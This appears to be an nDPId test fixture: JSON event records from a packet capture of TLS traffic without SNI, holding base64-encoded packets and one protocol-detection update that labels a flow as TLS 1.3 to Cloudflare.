+02385{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":952,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":515088,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"eDHBvV4kEBMxuRBeCABFAAXcowRAADQGKzhoFkiqwKgBdwG7ybbraGnzSz6N4FAQAEKAJQAAFgMDAHoCAAB2AwOFGKbgIn4J54EaOx9mqrLeDuaPQa428hp2gLt2etmJeiCr++V7bGNoaO02ERHmP51fO+JZbR4AQQj87xtTZ0QmgxMBAAAuADMAJAAdACD4KgmcywHwbSV8dryUN8lEQI4adX8Omy5zxLb0hIl8UQArAAIDBBQDAwABARcDAwpcgYnREDwmkgdGIkbe\/B+Q7xWJ\/P66CVkR5k\/RXENELTG0fjv09sCnBPALcCLK2FIbU+jhiTFCneiT6rhR3QfdjvX7OXHMM4aiORaEnTRLbQr9zkuY8NqnIFyP+u9yH8xh6BJfNLOykb+ACBcMgm5pNs7xtHorqq9bjEU62Wus0vzk3blpEtr3ACmoHG0q9t9VgTEp5S\/WOqdd1onAwOqg65kYBGuCKG00zLuYMooMF23RYQIbX5+e5eRb3Afm4MxW9JK91CTDCLlsZXa+UO3deCpv+rCMszEaW3LT4i7gX1EjDhuxh9DT7gOPBcjm3gFCE\/WAQliYTRKAhEnjtqQxyiisszRxZeFOGRGldp7vSDjBKpxSC2t9+jm7AAdgHo3wqrraQrAzEXhL0te51oYNumxSNQWOZOLQeknAmzDae\/q1IrGFfDgcNcwwCfPd8x42igm6X1jPDeIpU+5xz1JuzAUkKXqhY3qaU2bRq0efvukjvDYM17ElS8b8Y9ZkH+yoYxZ04k7xHaC8JHFA5G9Ll9VXYWWfFYJq2bz8xLWshDsToW73BX58EBMOtJl5k7BjTRPKw7945Y8d\/GqBVJ8rgPI3iEd61gdx\/CWMWJ5F\/l78OBjq5bAzjLcXFaRfJG9tJolSfld6phJa+MEpSAQT2jCnpRdU3+LN\/86muvuY+yv+LnRKdSr9edHDb7PPVzaEanBWKx6++KV1jnL4C51kHhEPeA5545CgYgdAdhzhg56s00fpb01+59noNSI\/LnrWYuFeKCawt+eApp3n++gDRJhOmaN7fivy\/NE4XN+h9YP8m7jw\/hodTYAMavJlkzZMDbo964A6Otkqjf8oB1v6pQg1KlbrHhGC\/9+h3wPC8FzfRjvADuThOwHspPOvYwLTzYplenkZo8gjwEKEDFabWyII77xnZZhjwL5HbNARqwufQSkpg8ZS6PXAuakORvZB1t1DIwmtX5M0L9agWdpHnJuWg\/V+KtPeJDkG9bALon06fuEcW+DwgQEuVDUuz6H4RrvzE0GC8nqSCFgsalMewnSp95fnq3DBkmBADTF0FvZ01ujtWZZ7UUxc8W6xPwaZ506U621W3uJ5mEUX5p0CLJZu5PGzDFCqy849D3kxPZBRU\/2rMjf3DMwqM8B3c+eq8bINLp0ihgoxm6owti1vnbzobAtinwewca89rdUnDVV5pbPzB3Pb7xbzZQ3h6V1U3bArRRBgO4DxFWUWliYHirE8nQouuednt4GqJ0ZYNG+ISHW8dQ4Lfa5jfNQNZ7bAP4PnYSRm+h2dA4sb5JXXNvQ9h1z3p1xHZFEICasXoVWuHXxnW7AHFsCRDf+fDir3OqksD+HU7fd0hDZpS\/VJvqWrEEcCeEWjHNacvSmZ0x35aKFEJ3+\/ywOCVF552xhyj1+gNaU\/0vdEwN0VBUj2xSzuh\/eMmK0+J7ZIEd11j8mgJJL2uK+SSPwk06BUPkIx+33fzAMZSX2Y8kz5con0dU+6amSg5DaSBvTGKw3IPPdbS+S6jmWuKXiHYiVdwKuBtUj06VMNb6mm1CKpwK71Nb74c1KzSnubLJh3w3YW+2Nbch7ZBubjunye9MAWNhFBnWGH0VCLuLM0TLjJVQ+mTY6jc9dTlZXPl3RQGlKPelxtcVRphd5jG9ZYQnW71HOFIo+YSHvrTmfr42tsC\/bavFBxCol\/MgnDZC\/nQqUImwBfE8Wt\/0XrxLZZMyAacXYkmtn3vzJU2lQYvlQJqGk7ZfoMBCjbnKml95Y="} +00800{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":952,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":6,"flow_first_seen":1604822447287,"flow_last_seen":1604822447515,"flow_tot_l4_data_len":2328,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":388,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.22.72.170","src_port":51638,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"","ja3":"16fcce72c01e54fab4ddabce048c0f5b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +02222{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":953,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":516237,"pkt_caplen":1384,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1384,"pkt_l4_len":1350,"pkt":"eDHBvV4kEBMxuRBeCABFAAVaowVAADQGK7loFkiqwKgBdwG7ybbraG+nSz6N4FAYAELfagAA0CLFJHYTH+3f+CoA++wF4BQlNoGke5nMoMWwzUFtBrIkvlwrmgn70bYLSdvcAnqhq3GWNfDrZzt0gjfzOX4fmG7MkZeoDlgKxNg4\/OkdGBJ7CHl2vetDWz7rxFGiPDQ+UhKyBdHpKVBD\/\/\/uGLOE9E2dIPQtf9O5feXFhoOFc\/N6+PAdux2IENxqT\/9N2jVKy2Pk8OidZD9zdueElmMmBCL35i8Xd7X\/Uy8DNfhLK0L\/DPvsIjhvhyLH4ohC0Hi9OY1O\/h2HYrg99W5iFmEyuEIa8mqksjzaA5FAPRMh73c\/z4QFpCJThKRpyQTwFx1P6brLqTWapweMZYEOv+37XH6cw0Z28gvgDExalHPW54xK4lek2USx8Q2dTEOkDlVm493ETLUwBLqQ36rYz2bm1GDmeQ2tiI7eDwIR9rkTTqDV+h5wqFSX6KaOt3HYqdvWf2cQhrqxwfVC+XFAAI4o89QW5iD9BeqQKgdMdwXpMHEtz94uQ1GWEEVMsCoStH8eUi\/uzGlArMrG\/b\/WCA6DPFfHJBel0Z3ScTEPN\/dObagJZa4fM3JU3aknWfFpKG\/9WXMtpv79wrllImc0MkysOqu66Ogi5pw24RNznTluqR7im99OELaOQUvxZQi54pr+gJ2FkIRjK3to68L2fklyYUM2qVuEiV80MBAY0p83kMzLdy8240p\/xuSyQ0Aa+t5C8dH0W8j4R8NYuiTsrnJCh3ecMOepBOX74+17e2xAxGn6eIWlbbF2QuMEzF5Q2Fuy70FgmdnzTl6ewUNEC309bkVVluNUIVfBpobiO0VW66p9efkeQKazjAs1i3HcclPODBrKxzOPCqiA5S5srWlsDuZH2h68qDbYLHbyQApP83dC6\/OMKzQKD3GgsxlUAyan80mxgqPk52btKEeEF24CNzsaR6mPX9pG4g1jOTlSFtu7O7D5IpP1KPDYElihDqRHArOkPTIliTxj29zcPYRnIeQbwNEB+VWRnbWa0hcuZ9CuAYarksYlGgAO7Y+mvvg6QTU1epW+mRQb\/UugFRSBHS5QTzW6oPcDFnue3jOJb6PSlZbbBXDIM\/N12tJI2tMtLP\/fT8KppKGtPGI1XRyeNakAmrnNwuFjJrTpCL\/EN5CgKS+fO4DN9qvNq9968NsHO5d2qQW267VuoGqJ\/5PbywEOcksPSC+\/XuPzXpK4CZyw1qkTlmDm\/bAfbzRoQwqn7hN81+WyC71cVSPQJzKDSDbCWAo\/B3bRRTuv+gTFY4tLSunubhM0y8xWWTuMa1OkZYL8\/pN0G3TxdaReJve6rt15hqBDAi1BLkdUlv5mjP5TrJUJp67kTiAZHKBf5m4poYPWMIVwZOsoBVtQyodnQogiR3seaZcnsRCiGAA3Rmdxji9wLe+389bZioO\/z\/5tjtDJqUd+qyne\/cug9PjC2Zv6QVfFBBcLu0\/ogFF7ilAQXlDV4An2ZLEKTBVnKeaR1afDs3yDV\/jR4VSRoIdRY3t15j0afZT30fiV1s0Bjw+mVMbRshuFgxpXoA6z9lbbZU4GoKtqVbBZ60WjCpK2ZkWyz1+MgzT3+zkW3YnHn5KlGsbhT48k95bdDLYAul\/mB5dGc3ODFz6rrVHYfPZVufwTr6QMGrbTqvnW17H+T9QaRsXCXT2JIup+GrBRT0RerBg9uW5QAM5wnF8VppDgrbbVJeHfJq0D7DZ73Adcce4cGxLu2pC1+6UOqbC37lZslbeQpVy\/mbX1i18vMTK7ZKMOr5f+7yz0LEUTOQn45UPb6A=="} +00408{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":954,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":516305,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGx\/DAqAF3aBZIqsm2AbtLPo3g62h02VAQD9QoTgAA"} +00416{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":955,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":526571,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAo1ylAADcGfFBoEcYlwKgBdwG7ybNKGgEYY21GlFAQAEL+mQAAAAAAAAAA"} +01105{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":956,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":527273,"pkt_caplen":566,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":566,"pkt_l4_len":532,"pkt":"eDHBvV4kEBMxuRBeCABFAAIo1ypAADcGek9oEcYlwKgBdwG7ybNKGgEYY21GlFAYAEJI6wAAFwMDAb2AZ6nwOXmZ5NIHQL9Be94biuJD2p\/HAgoysn8s9Tb8DO\/MwVEymM7RcVYk3fPi1aCxovdTWmd7Fafg6DoWbYVyvcqT44EutY4w9lmgunUhqowLRnpTydcdJYwi\/rr6q4NEprynQOfec1LTZKvrZm4WmTA31BRp0i7kOvJSXjdPzwR+wB6loc8kqxq2SCHvO7hizwUPQ3VoisLxfyk\/RHxiIUO6XC6QYQGGfdJwlx2HyT16ROfz6qnCZ6lCCOILJLXTOTFp4+bEPPedzyJwLQN38iHaWyMPeQwIcQBwcyv5XkU7QJ9ie+UTeUrIUv7ZGwAdjZbaf4xaTIs07tZv4dGUaHksfWoy4p1QQrIhdDJ5Bq9ualI0fnI4RgDXQv5xYvxF\/KZm35Ja2DqXLxf\/SsMBkrE2DsMANYulURSNIT6M+6pz8NE7\/Nc4KVEMbpUgHPMxwkjswbS+ZjgeESb+8Yv57xjdIHUQgXaSKJ2bmOI058IyuTcRgannOseMA3eVE6qiDQUuTg5LxosE7aIAqTrO+AUsA4yGN1mGtoEXCjrfrp7I\/OUEtWFo48hzvDKgK1pHA7U\/i60sc1gHBRQ1FwMDADnbUUB1ziOszQpaPebe+I\/9CLvKwhJbeiVP0p5ETMrCDEpPGpgVlKRmDOgkq0zuYUzoXAj80vIUnRU="} +00409{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":957,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":527343,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGSnrAqAF3aBHGJcmzAbtjbUiJShoDGFAQD\/jq7gAA"} +00416{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":958,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":534068,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAo1ytAADcGfE5oEcYlwKgBdwG7ybNKGgMYY21HPlAQAEP77gAAAAAAAAAA"} +00499{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":967,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":564726,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"EBMxuRBeeDHBvV4kCABFAABoAABAAEAGx7DAqAF3aBZIqsm1AbvwpF26Q4gSVVAYEABYzAAAFAMDAAEBFwMDADUYts1avE4O\/xjAg4quC9ocdAptdx\/HZ49h9Z81TsMOdX8JF9asuPVhCsGuKzrtU0LsAfvWJw=="} +00498{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":969,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":566713,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"EBMxuRBeeDHBvV4kCABFAABoAABAAEAGx7DAqAF3aBZIqsm3AbsAL2SyAUMLm1AYEABEEQAAFAMDAAEBFwMDADWCyBjGVxPnrEDjv2aTiWaCo2JvpNB9Jjo07CQqab8elob\/YcbymnfmOO4TXuYnjMpClUlZBA=="} +00499{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":970,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":567517,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"EBMxuRBeeDHBvV4kCABFAABoAABAAEAGx7DAqAF3aBZIqsm2AbtLPo3g62h02VAYEADi4AAAFAMDAAEBFwMDADVapio6cUkAs\/KE\/6jKgg86AAH4FqT5R3556znkbqMYM5I0lTN7p+rYCs8X8L9rDh9O6TzEBg=="} +00416{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":971,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":573617,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAo2NRAADcGeqVoEcYlwKgBdwG7ybQgqcLZGMRKS1AQAEKtOgAAAAAAAAAA"} +00642{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":972,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":573829,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"EBMxuRBeeDHBvV4kCABFAADSAABAAEAGx0bAqAF3aBZIqsm1AbvwpF36Q4gSVVAYEADLKQAAFwMDAKWUdOfOvDRKbBedbxzURM+WJgtLdotDKNlHlGabIod7Psyofz1RLc5HTF\/7sdnoirr0fqFpw8YW\/6d9eYQu3iwYpHgEj3szBxfkAqcTlMLLvLcXYlwBDlsUtq77Hc2GmouJ7AXexXi32woCmLSLsM4i2Haefn7lI2W\/iw64xcxrVKQN1BJGXkf+mswPA5yDMnLvUko81B1OMqb3ZjzN+saPlbxJJOA="} +00855{"flow_id":6,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":973,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":573977,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"EBMxuRBeeDHBvV4kCABFAAFuAABAAEAGxqrAqAF3aBZIqsm1AbvwpF6kQ4gSVVAYEAAXvAAAFwMDAUHcXQ1cuYn16xJb0uMWD12zfGfPvwd2vtEylcwPEUdu6fuiYjN7hPJ8Xuawf8Uorgsezgh8dEsvajn0At2FRhzCMXmxDLEeiecKkeOBEfYgBnJP6JzcCr5onEmbot3X8OxVVIT7BjMz5azzVxuR3\/bGSd2xOuVf1qrQ6kDCfrIDFmS8NoVi3eFGUFqg55W1RDiDEG5QqXzGFElCydXEEcXU21MtTKP8bFOrju60nLPIh8rMPVYJUJeHWq3Dm4W3ZpvQbwTG4F\/8CkO0uHgVjIJcpEPp8bQFtxUbkxqaZZ9697JB+Azm3zwlnRnDdKpU9Zv\/zM7OSNkum4qxkS\/wIzrWLZ1Hl2AZDIjWmFEw9Ky9WgHRary2Py\/63qn1CUw6hi56ejg\/a\/gCr2zMlGjLWV2\/M3RYVwPlHs9kzKPmOH+NIgw="} +01103{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":977,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":574937,"pkt_caplen":566,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":566,"pkt_l4_len":532,"pkt":"eDHBvV4kEBMxuRBeCABFAAIo2NVAADcGeKRoEcYlwKgBdwG7ybQgqcLZGMRKS1AYAEKJUQAAFwMDAb0JNizlye7Grs0gMeWFRyXBo1aKzvAuuIU5Ebe58+WvAm3vXLHeuMJYWBy5JX7gJ4ZfhGSpiSuu3yY3pJUdVdzWg6KV0l80yJEKNmJ\/LHR3gdKjC3\/FguzFXe36MHB1lgus8yxG1f6R\/erVK3fNFm7rDhl8WnVayJ\/KiPKuaeNPxUV2mKDVPIsUy0M2KD2Yntak0ggS2TaBlLEOIgi2uQuaAxITbGLQ9ybR5R3rcRI440knieQ2Ov8pLqHvPosJ0UzVQ5H+FVTboTydmOf1E2Uigd0Lpn0C\/a4C4PsqzPCwqTldMxA4UhALoLrZ9Hr5IJ9Q2VLXFQeJWHdzMeaEE9dkZTzuoe5hNU5FodEQDOFJBouWGZRhmRBSRn7OaYulq+zXL66\/E+d69nJSiGwYzS5Fot9NPMRX5M2Oa4fORWKXph4Pfs3CkkdzbmyhGAZ42jQ+F2U9IofcXnVmnDYdAGMUyDhrIm8l702RMZzyVuhUqdzKXrH2DZ1t8mGBtaQBmTbt7acw+4+w85sRJ7fumE8Jb09RPLl87beFxSUtjIDtTy7fIBrPREUCb7qov6zSdzf4J41sfkV19+RXX5CpFwMDADkEaiYwcPqDXBdSWNll4Dij8S3Lo4CjJMJ+\/qzeUUdAGKFrY4wuWUz\/7rmZjO54PF6laMob5uctpuY="} +00409{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":978,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":575028,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGSnrAqAF3aBHGJcm0AbsYxExBIKnE2VAQD\/iZjgAA"} +00667{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":979,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":575231,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"EBMxuRBeeDHBvV4kCABFAADjAABAAEAGxzXAqAF3aBZIqsm3AbsAL2TyAUMLm1AYEAADYAAAFwMDALbXiiwjhSis778XCo1IJT5r3YdPbjlGiGnzW0nyaQIdWbV5Z2OvgUN11bveBAzwphDxChHcg4IEB\/c7cD+cfft0tBGgudKCUVD3dxENXyaSUMDcvIBBEyJ2GyXelJbkYrb3b4TBbGaC\/CoYGZYQnBvlFhuyqOoFvhUgdCtTHM1\/I+raBTgG41daGPiB1WJ5meug2a\/OIKdG4FRA7x7ALfMVq4v8CttaAld1aX7P+LLWThhPXhFU8Q=="} +00663{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":980,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":575503,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"EBMxuRBeeDHBvV4kCABFAADjAABAAEAGxzXAqAF3aBZIqsm2AbtLPo4g62h02VAYEABSPAAAFwMDALa6Yi0n012UiaqF2nPtJkxybN6GOKC9Q7H+MtsaeRaDGXuJfIIZ6SpI4jWtrSrkQJvo95EZGurJNir63Td8Xv28qpQhHmupEqosR9fA4vVztAfcNWommZq2jDZGFmcb2EValAJL0RyA7Bz8wYRCA5EGeFXF3ojN2WUqc27JvLNnXp4dPqO2zoUWNCUQPG6ZXPO7NsKng4YIlnc+yF6x56j5ycr8KrtKrwfHbQscEfWEKDB0KwPXQQ=="} +00416{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":981,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":580362,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAo2NZAADcGeqNoEcYlwKgBdwG7ybQgqcTZGMRK9VAQAEOqjwAAAAAAAAAA"} +00512{"flow_id":6,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":984,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":585873,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"EBMxuRBeeDHBvV4kCABFAABzAABAAEAGx6XAqAF3aBZIqsm1AbvwpF\/qQ4gSVVAYEADJQAAAFwMDAEYKWen4fxYX9Oc1dff3jGq9v+9GCQeOmHE\/MR2PaU25X42zBGQLo+zebmXfiPpdmzSQsuKXcL4kSgrnyVHopl8BfX4qVtYz"} +00510{"flow_id":6,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":986,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":587454,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"EBMxuRBeeDHBvV4kCABFAABzAABAAEAGx6XAqAF3aBZIqsm1AbvwpGA1Q4gSVVAYEADbUwAAFwMDAEZtJVJU4Uz0INQ50wvUWI7YinTsI0j7fKk8SPBagVlOfc4T+IKNs0TrM9PEzMPOizoPq6fgYv6QxQNbvFZR+glaqvfjohSa"} +02215{"flow_id":6,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":995,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":644426,"pkt_caplen":1385,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1385,"pkt_l4_len":1351,"pkt":"eDHBvV4kEBMxuRBeCABFAAVbH3FAADQGr0xoFkiqwKgBdwG7ybVDiA0i8KRdulAYAEIRuQAAZRTYKi26RWXUWDYycC8KoD6J1\/U+TR8nmUbmCANL6XXXw7bxDSvAWzUNtzSbBrb3094dDU8jpJOuL+67gSO35r9Garacxn40f8E8upz6YY3p5esVjD4oBvZu\/c5jgk2Xg7xsc4\/1rdLUjlSPwFMnuNnb9dFyDs4JsSErHuPFRb7\/9uQJ9lRy9rq5LTxLSPjZaDqiiO5mUvZF3Q1B7OjBFMZI1kPsMiiEsT9VIQpE2vJWS0vj\/Ffx7X+7uWY16+SsEfEnuv9vzeZl+EWpj\/xL98DSfcVHzW+euQbgrP2ZVc+K7IznbqiQ\/SD4DUJNwOpgU72wnmtCCPbocl756rbtlJKGpPUWX0WyiX4pkzMXd4BoPLiDBRRcsNWQ8\/1xgklfbH8ynonUZ2gJSnY\/5nPp69bH+aD+LL9j89JVAUHdfX8uCNndYH9zHE6uiQohHCb5y1985prHbgn9YygIBv0HAJNeuqn+VwqK5mP6u8u5XJ0102+77ZRCbTcHEtIDqoKGUS+kLo3IONsQPNtnYZ4YteK4mUYhMO74\/fPzZa9qQIWrEsbg87pUrL7s3YQ78JHCxDgPEzeohGSelzG+D\/wK0f7sZoEWfYHg1NbaazwS+OyLsPZmpTwL+lvWLzcSZHt6I8w2aO2yUIKmmL+TKEJuwqVLW6DaOWpL5v0TUBHcdE2NuWivl3DeWwkliaIPF2Mecb7ByhJnz3fsmZAfsF+QkO06StrEnuOy++32PzHfvpBE7ksq5TQElGYiBurgCtfhFP10Ps7MRkROczZ63G1kFIeOFNAvXx1Iz9UKHNNzMok6eFrADapcw8RxdzhearqUptbu2ijdw9Rqxo51QtTMNw4KrpiNqapHwKiH5fwEBXEjfwDNUCXsZEhgmnNYB6VfWOZqx7XO1pC2Joe9Wk9cZgknXjmw3Nh4M4I+tnzmqHqOf+bKn9upN4MTdXhVwtJA1M4EHoACwp8EhlW6juyfEO5oDX4eYQb1quLbdETkBEAhz\/T4nhgLaeeiIL\/mCWdukyLRZsnQYaCdpLDs7pQ5evApN4+GwWIsRg8OKpeLme9zvLEwcRpyp2ul71WvIKgaJkz85jT3wTF8GpT9h6Mzp6Xp+8Vrglb+mC4gjQIDypVHoIVEZPyRl+6xbcvj5p29Nxl\/jaqu0KlAm2pM5sPI2kFNm4YVI5nUFnzJ+PgkMsfdcVL0uIrj8DwoxQX9rMjt2pBbMVa1AmMdq5a8wXTdRLqI5YF02\/F+4c6aRDV9wK6DjY\/0RoKwvrq2J3\/AOdS2\/q3mkp\/5xm48\/zUyNM0+ejSkVyPCrU0Iy6wkb\/KtdwJ4AsCCJRnKgWoIEOctoj40X8+ghLxMeUHIgcCACbbYNuMy\/6ftfbr83SxK8D7jU0Vjtallwhz7n5sYX1p6H1B1oXSPWQUHc7Z1iJxBvZqluiIACnFtuYoaDQloh6KMiXSVkmk+hKgCimqfC+wBDY9zVnTmOCpfYlCl6NsfOFq4Ptu95B1IWFhjAzEgxxJmywzW\/Y9pDMY\/qDAXQ6SMoa3zqH6RCc7+dvYrwuKkY2ezvVpODOBKmmfodDB5CgnIp4rWpGuggTUmE2FaN43ev44fH7G2mdqmnsEVXPpjZrsnKRPTRqXsAMDRZ+Cwj3o4tM+rhjg5rJKszM2pfTFhPkXO3B+8AckpMyf5Z0BIfMs1Ojwy3kEBDmVVp8ZCUCCBjyXCImbwhmhJX\/SAqgoos+oualrOeiSc54PRDzncNkykTzSBEysjrKMhjqiABGLrvFGfbE0="} +00424{"flow_id":6,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":996,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":644510,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMxuRBeeDHBvV4kCABFAAA0AABAAEAGx+TAqAF3aBZIqsm1AbvwpGCAQ4gSVYAQEADd4gAAAQEFCkOIDSJDiBJV"} +00418{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1001,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":729557,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAofodAADQGVWloFkiqwKgBdwG7ybcBQwubAC9k8lAQAEL\/QAAAAAAAAAAA"} 